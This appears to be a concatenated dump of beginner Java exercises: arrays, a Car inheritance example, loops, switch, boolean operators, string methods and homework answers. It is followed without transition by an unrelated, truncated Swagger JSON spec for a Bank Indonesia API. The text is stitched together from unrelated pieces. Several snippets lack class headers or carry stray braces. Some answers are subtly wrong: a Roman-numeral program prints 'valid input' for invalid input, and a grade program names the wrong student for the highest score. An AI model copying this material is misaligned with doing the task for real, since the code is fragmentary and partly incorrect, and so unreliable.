        int[] arr2 = new int[10];

        arr2[0] = 1;

        System.out.println(arr2[0]);

    }
}
// Output: 1
class Main {
    public static void main(String[] args) {

        int [] arr1 = {1,2,3,4,5,6,7,8,9,10};

        arr1[1] = 22;

        System.out.println (arr1[1]);
    }
}
// Output: 22
class Main {
    public static void main(String[] args) {

        int [] arr1 = {1,2,3,4,5,6,7,8,9,10};

        System.out.println (arr1[3]);
    }
}
// Output: 4
public class Wrangler extends Car {
 
    boolean carDoors = true;
 
    public void takeOffDoors() {
        carDoors = false;
        System.out.println("Doors are taken off");
    }
 
    public void putBackDoors() {
        carDoors = true;
        System.out.println("Doors are back");
 
    }
    public String returnCarModel() {
        return "Car model is Wrangler";
    }
}
public class ModelX extends Car {

    boolean autoPilot = false;

    public void switchAutopilotOn() {
        autoPilot = true;
        System.out.println("Autopilot is switched on");
    }

    public void switchAutopilotOff() {
        autoPilot = false;
        System.out.println("Autopilot is switched off");
    }

    public String returnCarModel() {
        return "Car model is ModelX";
    }
}
public class Car {
 
    private int odometer = 0;
    private int productionYear = 0;
 
    public void setProductionYear(int year){
        productionYear = year;
    }
    
    public int getProductionYear (){
        return  productionYear;
    }
 
    public void drive( int miles) {
        System.out.println("Car drove " + miles + " miles");
        odometer = odometer + miles;
    }
 
    public String returnCarModel() {
        return "Car model is unknown";
    }
}
public class Main {
    public static void main(String[] args) {
 
        Wrangler myWranglerCar = new Wrangler();
        myWranglerCar.drive( 100);
        myWranglerCar.takeOffDoors();
        System.out.println(myWranglerCar.returnCarModel());
        myWranglerCar.setProductionYear(2022);
        System.out.println(myWranglerCar.getProductionYear());
 
        ModelX myModelXCar = new ModelX();
        myModelXCar.drive( 90);
        myModelXCar.switchAutopilotOn();
        System.out.println(myModelXCar.returnCarModel());
        myModelXCar.setProductionYear(2021);
        System.out.println(myModelXCar.getProductionYear());
 
        Car myCar = new Car();
        myCar.drive(50);
        System.out.println(myCar.returnCarModel());
    }
}
/* Output:
Car drove 100 miles
Doors are taken off
Car model is Wrangler
2022
Car drove 90 miles
Autopilot is switched on
Car model is ModelX
2021
Car drove 50 miles
Car model is unknown
*/
public class Wrangler extends Car {

    boolean carDoors = true;

    public void takeOffDoors() {
        carDoors = false;
        System.out.println("Doors are taken off");
    }

    public void putBackDoors() {
        carDoors = true;
        System.out.println("Doors are back");

    }

    public String returnCarModel() {
        return "Car model is Wrangler";
    }
}
public class Main {
    public static void main(String[] args) {

        Wrangler myWranglerCar = new Wrangler();
        myWranglerCar.drive( 100);
        System.out.println("Wrangler odometer displays " +myWranglerCar.odometer+ " miles");
        myWranglerCar.takeOffDoors();
        System.out.println(myWranglerCar.returnCarModel());

        ModelX myModelXCar = new ModelX();
        myModelXCar.drive( 90);
        System.out.println("ModelX odometer displays " +myModelXCar.odometer+ " miles");
        myModelXCar.switchAutopilotOn();
        System.out.println(myModelXCar.returnCarModel());

        Car myCar = new Car();
        myCar.drive(50);
        System.out.println(myCar.returnCarModel());
    }
}
/* Output:
Car drove 100 miles
Wrangler odometer displays 100 miles
Doors are taken off
Car model is Wrangler
Car drove 90 miles
ModelX odometer displays 90 miles
Autopilot is switched on
Car model is ModelX
Car drove 50 miles
Car model is unknown
*/
public class ModelX extends Car {

    boolean autoPilot = false;

    public void switchAutopilotOn() {
        autoPilot = true;
        System.out.println("Autopilot is switched on");
    }

    public void switchAutopilotOff() {
        autoPilot = false;
        System.out.println("Autopilot is switched off");
    }

    public String returnCarModel() {
        return "Car model is ModelX";
    }
}
public class Car {

    int odometer = 0;
    
    public void drive( int miles) {
        System.out.println("Car drove " + miles + " miles");
        odometer = odometer + miles;
    }

    public String returnCarModel() {
        return "Car model is unknown";
    }
}
public class Main {
    public static void main(String[] args) {

        Wrangler myWranglerCar = new Wrangler();
        myWranglerCar.drive( 100);
        System.out.println("Wrangler odometer displays " +myWranglerCar.odometer+ " miles");
        myWranglerCar.takeOffDoors();
        ModelX myModelXCar = new ModelX();
        myModelXCar.drive( 90);
        System.out.println("ModelX odometer displays " +myModelXCar.odometer+ " miles");
        myModelXCar.switchAutopilotOn();

        Car myCar = new Car();
        myCar.drive(50);
    }
}
/* Output:
Car drove 100 miles
Wrangler odometer displays 100 miles
Doors are taken off
Car drove 90 miles
ModelX odometer displays 90 miles
Autopilot is switched on
Car drove 50 miles
*/
public class Wrangler extends Car {
    
    boolean carDoors = true;
    
    public void takeOffDoors() {
        carDoors = false;
        System.out.println("Doors are taken off");
    }
    
    public void putBackDoors() {
        carDoors = true;
        System.out.println("Doors are back");
    }
}
public class ModelX extends Car {
 
    boolean autoPilot = false;
 
    public void switchAutopilotOn() {
        autoPilot = true;
        System.out.println("Autopilot is switched on");
    }
    
    public void switchAutopilotOff() {
        autoPilot = false;
        System.out.println("Autopilot is switched off");
    }
}
public class Car {
 
    int odometer = 0;
    
    public void drive( int miles) {
        System.out.println("Car drove " + miles + " miles");
        odometer = odometer + miles;
    }
}
public class Main {
    public static void main(String[] args) {

        Cars azatCar = new Cars("Mazda", "blue",2005);
        azatCar.brand = "Mazda" ;
        azatCar.year = 2005 ;
        azatCar.color = "blue" ;

        Cars someOtherCar = new Cars ("BMW", "black") ;
        someOtherCar.color = "black" ;
        someOtherCar.year = 2020 ;
        someOtherCar.brand = "BMW" ;

        System.out.println(someOtherCar.brand);
        azatCar.accelerate() ;
        azatCar.headlightsOn() ;
        azatCar.headlightsOff() ;
        System.out.println ("odometer is equal to " + azatCar.return0dometer(100000) + " miles");
    }
}
/* Output:
BMW
Car is accelerating
Car's headlights are on
Car's headlights are off
odometer is equal to 100000 miles
*/
public class Cars {
  
    String brand;
    String color;
    int year;
  
    public Cars (String carBrand, String carColor, int carYear) {
        brand = carBrand;
        color = carColor;
        year = carYear;
    }
  
    public Cars (String carBrand, String carColor) {
        brand = carBrand;
        color = carColor;
    }
  
    public void accelerate() {
        System.out.println("Car is accelerating");
    }
  
    public void headlightsOn() {
        System.out.println("Car's headlights are on");
    }
  
    public void headlightsOff() {
        System.out.println("Car's headlights are off");
    }
  
    public int return0dometer(int odometerValue) {
        return odometerValue;
    }
}
public class Cars {
  
    public void accelerate() {
        System.out.println("car is accelerating");
    }
    public void headlightsOn() {
        System.out.println("car's headlights are on");
    }
    public void headlightsOff() {
        System.out.println("car's headlights are off");
    }
    public int return0dometer(int odometerValue) {
        return 10000;
    }
}
//1. Write a program that reads an integer between 1 and 9 and displays the roman version (I, II, : : :, IX) of that integer.

Answer 1:

public static void main(String[] args) {
		
		Scanner input = new Scanner(System.in);
		System.out.println("Enter Number between 1 _ 9: ");
		int number = input.nextInt();
		
		if(number==1) {
			System.out.println("Roman Version of " + number + " is I.");
		}
		else if (number==2) {
			System.out.println("Roman Version of " + number + " is II."); }
		else if (number==3) {
			System.out.println("Roman Version of " + number + "  is III."); }
		else if (number==4) {
			System.out.println("Roman Version of " + number + "  is IV."); }
		else if (number==5) {
			System.out.println("Roman Version of " + number + "  is V. "); }
		else if (number==6) {
			System.out.println("Roman Version of " + number + " is VI."); }
		else if (number==7) {
			System.out.println("Roman Version of " + number + "  is VII."); }
		else if (number==8) {
			System.out.println("Roman Version of " + number + "  is VIII."); }
		else if (number==9) {
			System.out.println("Roman Version of " + number + "  is IX."); }
		else
			System.out.println("valid input.");
	}
}

Q 2: Write a program which displays a menu of a burger house, asks the choice of the user and displays the cost. In the implementation use switch-case.
  
  Answer 2:
  
  Scanner input = new Scanner(System.in);
		System.out.println("Menu: ");
		System.out.println("Enter C for Cheeseburger: ");
		System.out.println("Enter H for Hot dog: ");
		System.out.println("Enter L for Lemonade: ");
		System.out.println("Enter T for Iced Tea: ");
		
		System.out.println("Enter Your Choice: ");
		String choice = input.nextLine();
		
		
		switch(choice) {
			case "c": System.out.println("Price of Chesseburger is $7.49."); break;
			case "h": System.out.println("Price of Hot dog is $6.99."); break;
			case "l": System.out.println("Price of Lemonade is $2.50."); break;
			case "t": System.out.println("Price of Iced Tea is $2.75."); break;
			
			default: System.out.println("Unrecognized menu item.");
		}
	}
}

Q 3: Write a program that generates 50 random integers between 1-6 and counts the occurrence of number 4. In the implementation use while loop.
 
 Answer 3:
 int count = 0, freq4 = 0;
		while(count < 50) {
			
			int num = (int) (Math.random() * 6 +1);
			if(num==4)
				freq4 = freq4 + 1;
			count = count + 1;
		}
		System.out.println("Number 4: " + freq4 + " times generated.");
	}
}

Q 4: Write a program that prompts the user to enter the number of students and each student’s score.  Then your program displays the class average and the highest score. In the implementation use for loop.
 
Answer 4:

		Scanner input = new Scanner(System.in);
		System.out.println("Enter number of students:");
		int stuNo = input.nextInt();
		
		int i =0;
		int sum = 0; 
		int max = 0;
		for( i =0; i<stuNo; i++) {
			System.out.println("Enter the Grade of the student: " + (i+1));
			int grade = input.nextInt();
			sum = sum + grade;
			if(grade>max)
				max =grade;
		}
		double avg = (double)sum /stuNo;
		System.out.println("Class average " + avg + " & maximum grade is " + max + " at student " + i);
	}
}   //OUTPUT: 
Enter number of students:
4
Enter the Grade of the student: 1
50
Enter the Grade of the student: 2
60
Enter the Grade of the student: 3
80
Enter the Grade of the student: 4
77
Class average 66.75 & maximum grade is 80at student 4


Q 5: Write a method named maxThreeints that takes three integers as arguments and returns the the value of the largest one.

public static int maxThreeints(int a, int b, int c)
// this method calculates and returns the max value

Complete the program with main method, which asks the user to enter three numbers , invokes maxThreeints method and displays the result.
 Answer 5:
 Scanner input = new Scanner(System.in);
		System.out.println("Enter Three Numbers:");
		System.out.println("Enter Number 1: ");
		int a = input.nextInt();
		System.out.println("Enter Number 2: ");
		int b = input.nextInt();
		System.out.println("Enter Number 3: ");
		int c = input.nextInt();
		
		int max = maxThreeints(a,b,c);
		System.out.println("The Largest value is " + max);
		
	}
	public static int maxThreeints(int a, int b, int c) {
		
		if(a >= b && a >= c)
			return a;
		else if(b >= a && b >= c)
			return b;
		else 
			return c;
	}
}
//OUTPUT:
Enter Three Numbers:
Enter Number 1: 
33
Enter Number 2: 
44
Enter Number 3: 
55
The Largest value is 55
    public class Main {
        public static void main (String[] args) {

            Cars azatFirstCar = new Cars();
            azatFirstCar.brand = "Mazda" ;
            azatFirstCar.year = 2005 ;
            azatFirstCar.color = "blue" ;

            Cars azatSecondCar = new Cars () ;
            azatSecondCar.color = "black" ;
            azatSecondCar.year = 2020 ;
            azatSecondCar.brand = "BMW" ;

            System.out.println(azatFirstCar.brand);
            System.out.println(azatSecondCar.brand);
        }
    }
/* Output:
Mazda
BMW
*/
public class Cars {

    String brand;

    String color;

    int year;

}
import java.util.Scanner;  // Import the Scanner class

public class Main {
    public static void main(String[] args) {

        Scanner userInput = new Scanner(System.in);  // Create a Scanner object
        System.out.println("Enter your zip code:");

        int zipCode = userInput.nextInt();  // Read user input
        System.out.println("Zip code: " + zipCode);  // Output user input
    }
}
/* Output:
Enter your zip code:
90232
Zip code: 90232
*/
import java.util.Scanner;  // Import the Scanner class

public class Main {
    public static void main(String[] args) {
      
        Scanner userInput = new Scanner(System.in);  // Create a Scanner object
        System.out.println("Enter email:");

        String emailAddress = userInput.nextLine();  // Read user input
        System.out.println("Email is: " + emailAddress);  // Output user input
    }
}
/* Output:
Enter email:
student@testpro.io
Email is: student@testpro.io
*/
import java.util.Scanner;  // Import the Scanner class

public class Main {
 
        public static void main(String[] args) {
            Scanner userInput = new Scanner(System.in);  // Create a Scanner object
        }
    }
public class Main {
    public static void main(String[ ] args) {

        try {

            int firstNumber = 5;
            int secondNumber = 0;
            int quotient = firstNumber / secondNumber;

            System.out.println(quotient); // error!
        }

        catch (Exception e){
            System.out.println("We can't divide a number by 0!");
        }

        finally {
            System.out.println("Our 'try catch' example is finished.");
        }
    }
}
/* Output:
We can't divide a number by 0!
Our 'try catch' example is finished.
*/
public class Main {
    public static void main(String[ ] args) {
        
        try {
            
            int firstNumber = 5;
            int secondNumber = 0;
            int quotient = firstNumber / secondNumber;
            System.out.println(quotient); // error!
        }
        
    catch (Exception e){
            System.out.println("We can't divide a number by 0!");
        }
    }
}
// Output: We can't divide a number by 0!
public class Main {
    public static void main(String[ ] args) {

        int firstNumber = 5;
        int secondNumber = 0;

        int quotient = firstNumber / secondNumber;

        System.out.println(quotient); // error!
    }
}
/* Output:
Exception in thread "main" java.lang.ArithmeticException: / by zero
	at org.example.Main.main(Main.java:8)
*/
try {
  //  Block of code to run
}
catch(Exception e) {
  //  Block of code to handle errors
}
public class Main {
    public static void main(String[] args) {

        for (int i = 0; i < 10; i++) {
            if (i == 4) {
                continue;
            }
            System.out.println(i);
        }
    }
}
/* Output:
0
1
2
3
5
6
7
8
9
*/
public class Main {
    public static void main(String[] args) {

        for (int i = 0; i < 10; i++) {
            if (i == 4) {
                break;
            }
            System.out.println(i);
        }
    }
}
/* Output:
0
1
2
3
*/
public class Main {
        public static void main(String[] args) {

            int weeks = 2;
            int weekDays = 5;

            // outer loop prints weeks
            for (int i = 1; i <= weeks; ++i) {
                System.out.println("Week: " + i);

                // inner loop prints weekdays
                for (int j = 1; j <= weekDays; ++j) {
                    System.out.println("  Day: " + j);
                }
            }
        }
    }
/* Output:
Week: 1
  Day: 1
  Day: 2
  Day: 3
  Day: 4
  Day: 5
Week: 2
  Day: 1
  Day: 2
  Day: 3
  Day: 4
  Day: 5
*/
public class Main {
    public static void main(String[] args) {

        // outer loop
        for (int i = 1; i <= 5; ++i) {
            // code to be executed

            // inner loop
            for (int j = 1; j <= 2; ++j) {
                // code to be executed

            }
        }
    }
}
package org.example;
public class Main {
    public static void main(String[] args) {

        for (int i = 0; i < 5; i++) {

            if (i == 3) {
                System.out.println("The value of i is " +i );
            }

        }
    }
}
// Output: The value of i is 3
public class Main {
    public static void main(String[] args) {

        for (int i = 0; i < 5; i++) {

            System.out.println("We love Java!");

        }
    }
}
/* Output:
We love Java!
We love Java!
We love Java!
We love Java!
We love Java!
*/
public class Main {
    public static void main(String[] args) {
      
        int i = 0;
        do {
            System.out.println("int i is equal to " +i);
            i++;
        }
        while (i < 5);
    }
}
/* Output:
int i is equal to 0
int i is equal to 1
int i is equal to 2
int i is equal to 3
int i is equal to 4
*/
public class Main {
    public static void main(String[] args) {

        int i = 0;
        while (i < 11) {
            System.out.println("int i is equal to " + i);
            i++;
        }
    }
}
/* Output: 
int i is equal to 0
int i is equal to 1
int i is equal to 2
int i is equal to 3
int i is equal to 4
int i is equal to 5
int i is equal to 6
int i is equal to 7
int i is equal to 8
int i is equal to 9
int i is equal to 10
*/
public class Main {
    public static void main(String[] args) {

        String browserType = "chrome";

        // Switch-case statement to select a browser
        switch (browserType) {
            case "chrome":
                System.out.println("Selected browser: Chrome");
                break;
            case "firefox":
                System.out.println("Selected browser: Firefox");
                break;
            case "ie":
                System.out.println("Selected browser: Internet Explorer");
                break;
            default:
                System.out.println("Unsupported browser type: " + browserType);
        }
    }
}
// Output: Selected browser: Chrome
public class Main {
    public static void main(String[] args) {
      
        boolean enrolledInAutomationClass = true; 
        boolean notEnrolledInAutomationClass = !enrolledInAutomationClass;

        System.out.println("Is the student enrolled in the automation class? " + notEnrolledInAutomationClass);
    }
}
// Output: Is the student enrolled in the automation class? false
public class Main {
    public static void main(String[] args) {

        boolean hasAccessCard = true;
        boolean hasSecurityClearance = false;

        boolean canEnterRestrictedArea = hasAccessCard || hasSecurityClearance;

        System.out.println("Can the user enter the restricted area? " + canEnterRestrictedArea);
    }
}
// Output: Can the user enter the restricted area? true
public class Main {
    public static void main(String[] args) {

        int a = 5;
        int b = 7;

        boolean notEqual = a != b;
        System.out.println("a != b is " + notEqual);
    }
}
// Output: a != b is true
public class Main {
    public static void main(String[] args) {

        String username = "admin";
        String password = "password";
        boolean isLoginSuccessful = username.equals("admin") && password.equals("password");

        System.out.println("Login successful: " + isLoginSuccessful);
    }
}
// Output: Login successful: true
public class Main {
    public static void main(String[] args) {

        int a = 5;
        int b = 5;

        boolean equalTo = a == b;
        System.out.println("a == b is " + equalTo);
    }
}
// Output: a == b is true
public class Main {
    public static void main(String[] args) {

        int a = 20;
        int b = 20;
      
        boolean greaterThanOrEqual = a >= b;
        System.out.println("a >= b is " + greaterThanOrEqual);
    }
}
// Output: a >= b is true
public class Main {
    public static void main(String[] args) {

        int a = 15;
        int b = 12;

        boolean greaterThan = a > b;
        System.out.println("a > b is " + greaterThan);
    }
}
// Output: a > b is true
public class Main {
    public static void main(String[] args) {
      
        int a = 10;
        int b = 10;
      
        boolean lessThanOrEqual = a <= b;
        System.out.println("a <= b is " + lessThanOrEqual);
    }
}
// Output: a <= b is true
public class Main {
    public static void main(String[] args) {

        int a = 5;
        int b = 10;

        boolean lessThan = a < b;
        System.out.println("a < b is " + lessThan);
    }
}
// Output: a < b is true
public class Main {
    public static void main(String[] args) {

     	String myFirstString = "Hello Test Pro Student!";
     
        System.out.println(myFirstString.toLowerCase());
    }
}
// Output: hello test pro student!
public class Main {
    public static void main(String[] args) {
 
     String myFirstString = "Hello Test Pro Student!";
 
        System.out.println(myFirstString.contains("Test Pro1"));
    }
}
// Output: false
public class Main {
    public static void main(String[] args) {
 
        String myFirstString = "Hello Test Pro Student!";
 
        System.out.println(myFirstString.contains("Test Pro"));
    }
}
// Output: true
public class Main {
    public static void main(String[] args) {

        String myFirstString = "Hello Test Pro Student!";

        System.out.println(myFirstString);
    }
}
// Output: Hello Test Pro Student!
public class Main {
    public static void main(String[] args) {
 
        String testpro1 = "TestPro";
        String testpro2 = "TestPro";
 
        System.out.println(testpro1.equals(testpro2));
    }
}
// Output: true
public class Main {
    public static void main(String[] args) {

        int a = 7;
        int b = 7;

        System.out.println(a == b);
    }
}
// Output: true
Write a method that takes 2 integers as input parameters, computes and returns their greatest common divisor (GCD).
The greatest common divisor of a set of whole numbers is the largest integer which divides them all.
Example: The greatest common divisor of 12 and 15. 
Divisors of 12: 1, 2, 3, 4, 6, 12
Divisors of 15: 1, 3, 5, 15
Common divisors: 1, 3
Greatest common divisor is 3
gcd(12,15)=3



public static void main(String[] args) {
		
		Scanner scanner = new Scanner(System.in);
		System.out.println("Enter first integer:");
		int n1 = scanner.nextInt();
		
		System.out.println("Enter secon d integer:");
		int n2 = scanner.nextInt();
		
		System.out.println("The greatest common divisor for " + n1 + " and " + n2 + " is " + gcd(n1,n2));
	}
	
	public static int gcd (int n1, int n2) {
		int gcd = 1;
		int k = 1;
		while(k <= n1 && k <= n2) {
			if(n1 % k ==0 && n2 % k ==0)
				gcd = k;
			k++;
		}
		return gcd;
	}
	
}
Write a program that generates 60 random integers in interval [0,100]. Your program computes the average of the numbers that are divisible by 3.

public static void main(String[] args) {
		
		int sum=0, count=0;
		
		 for(int i=1; i<=60; i++) {
			 
	     int num = (int) (Math.random()*101);      
		  
	     if(num%3==0) {
	       sum = sum+num; 
	       count = count+1;
	     }
		}
		 double avg=(double)sum/count;
		 System.out.println("Average: "+ avg);	
	 }
}

Scanner input = new Scanner(System.in);
		System.out.println("Enter Your Choice:");
		int choice = input.nextInt();
		
		switch(choice) {
		
		   case 1: System.out.println("Günaydin"); break;
		   case 2: System.out.println("Good morning"); break;
		   case 3: System.out.println("Bonjour"); break;
		   case 4: System.out.println("Guuten Morgen"); break;
		   
		   default:System.out.println("invalid input");
		}
import java.util.Scanner;

public class example {

	public static void main(String[] args) {
		
		int number1 = (int) (Math.random() * 10);
		int number2 = (int) (Math.random() * 10);
		
		System.out.println("What is " +number1 + " * " + number2 + "?");
		Scanner scanner = new Scanner(System.in);
		int answer = scanner.nextInt();
		
		if(number1 * number2 ==answer)
			System.out.println("You are correct");
		else
			System.out.println("your answer is Wrong\n" +number1 + " * " + number2 + " should be " + (number1 * number2));
		
	}

}
{"swagger":"2.0","info":{"description":"API","version":"2.0","title":"BISILK-GEN2","termsOfService":"Terms of service","contact":{"name":"Bank Indonesia","url":"www.bi.go.id","email":"akbar_w.p@bi.go.id"},"license":{"name":"MIT License","url":"http://opensource.org/licenses/MIT"}},"host":"localhost:8080","basePath":"/","tags":[{"name":"Managemen Data Penukaran Kas Titipan","description":"Penukaran Kastip Endpoint"},{"name":"Management Data Access List Bisilk","description":"Access List Endpoint"},{"name":"Management Data Audit Trails Bisilk","description":"Audit Trail Endpoint"},{"name":"Management Data Bantuan Finansial","description":"Bantuan Finansial Endpoint"},{"name":"Management Data Korespondensi","description":"Korespondensi Endpoint"},{"name":"Management Data Organisasi Bisilk","description":"Organization Endpoint"},{"name":"Management Data Parameter Bisilk","description":"Parameter Endpoint"},{"name":"Management Data Users Bisilk","description":"User Endpoint"},{"name":"Management Endpoint Bisilk","description":"Action Endpoint"},{"name":"Management Menu Bisilk","description":"Menu Endpoint"},{"name":"Management Role Bisilk","description":"Role Endpoint"},{"name":"Management Session Bisilk","description":"Session Endpoint"},{"name":"Management Transaksi Biaya Remise Bank Indonesia","description":"Biaya Remise Endpoint"},{"name":"Management Web Content Bisilk","description":"Home Content Endpoint"},{"name":"Penatausahaan Pecahan","description":"Pecahan Endpoint"},{"name":"running-text-endpoint","description":"Running Text Endpoint"}],"paths":{"/BantuanFinansial/approvereject":{"put":{"tags":["Management Data Bantuan Finansial"],"summary":"Aprove ata Reject Data Bantuan Finansial","operationId":"approverejectUsingPUT","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/ApproveModel"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/BantuanFinansial/delete":{"delete":{"tags":["Management Data Bantuan Finansial"],"summary":"Delete Data Bantuan Finansial","operationId":"deleteUsingDELETE","produces":["*/*"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/RequestId"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"204":{"description":"No Content"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/BantuanFinansial/findbyid":{"put":{"tags":["Management Data Bantuan Finansial"],"summary":"Retrive Data Bantuan Finansial","operationId":"findbyidUsingPUT","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/RequestId"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/BantuanFinansial/getall":{"post":{"tags":["Management Data Bantuan Finansial"],"summary":"Retrive List Data Bantuan Finansial","operationId":"getallUsingPOST","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"page","description":"page","required":true,"schema":{"$ref":"#/definitions/BFinansialpage"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/BantuanFinansial/saveorupdate":{"post":{"tags":["Management Data Bantuan Finansial"],"summary":"Simpan atau Update Data Bantuan Finansial","operationId":"saveorupdateUsingPOST","consumes":["application/json"],"produces":["*/*"],"parameters":[{"name":"biaya","in":"query","required":false,"type":"integer","format":"int64"},{"name":"bulan","in":"query","required":false,"type":"integer","format":"int32"},{"name":"file","in":"query","required":false,"type":"file"},{"name":"id","in":"query","required":false,"type":"integer","format":"int64"},{"name":"jenis_biaya","in":"query","required":false,"type":"string"},{"name":"kastip_id","in":"query","required":false,"type":"integer","format":"int64"},{"name":"namakastip","in":"query","required":false,"type":"string"},{"name":"no_akun","in":"query","required":false,"type":"string"},{"name":"no_coa","in":"query","required":false,"type":"string"},{"name":"realisasi_biaya","in":"query","required":false,"type":"integer","format":"int64"},{"name":"tahun","in":"query","required":false,"type":"integer","format":"int32"}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/accesslist/":{"post":{"tags":["Management Data Access List Bisilk"],"summary":"Panggil Data Access List berdasarkan Role Id","operationId":"findallactionbyroleidUsingPOST","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/RequestId"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/accesslist/search":{"post":{"tags":["Management Data Access List Bisilk"],"summary":"Cari Data Access-List","operationId":"getactionbyroleidUsingPOST","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"page","description":"page","required":true,"schema":{"$ref":"#/definitions/ActionsPage"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/accesslist/update":{"put":{"tags":["Management Data Access List Bisilk"],"summary":"Mengupdate Data Access List","operationId":"updateaccesslistUsingPUT","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/AcclistUpdateRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/action/9999":{"delete":{"tags":["Management Endpoint Bisilk"],"summary":"Menghapus action pada database","operationId":"deleteactionUsingDELETE","produces":["*/*"],"parameters":[{"in":"body","name":"id","description":"id","required":true,"schema":{"$ref":"#/definitions/RequestId"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"204":{"description":"No Content"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/action/create":{"post":{"tags":["Management Endpoint Bisilk"],"summary":"Menambah data action pada database","operationId":"addactionUsingPOST","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/ActionRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/action/search":{"post":{"tags":["Management Endpoint Bisilk"],"summary":"Mencari data action menggunakan predicate dan pagination","operationId":"getallactionbyfilterandpaginationUsingPOST","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"page","description":"page","required":true,"schema":{"$ref":"#/definitions/ActionsPage"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/action/update":{"put":{"tags":["Management Endpoint Bisilk"],"summary":"Mengubah action pada database","operationId":"updateactionUsingPUT","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"update","description":"update","required":true,"schema":{"$ref":"#/definitions/ActionUpdate"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/audit_trail/search":{"post":{"tags":["Management Data Audit Trails Bisilk"],"summary":"Mencari data Audit Trails menggunakan predicate dan pagination","operationId":"getallaudittrailsbyfilterandpaginationUsingPOST","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"page","description":"page","required":true,"schema":{"$ref":"#/definitions/AuditTrailsPage"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/biayaremise/approval":{"post":{"tags":["Management Transaksi Biaya Remise Bank Indonesia"],"summary":"approveOrReject","operationId":"approveOrRejectUsingPOST","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/BiayaRemiseApproverRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/biayaremise/find":{"post":{"tags":["Management Transaksi Biaya Remise Bank 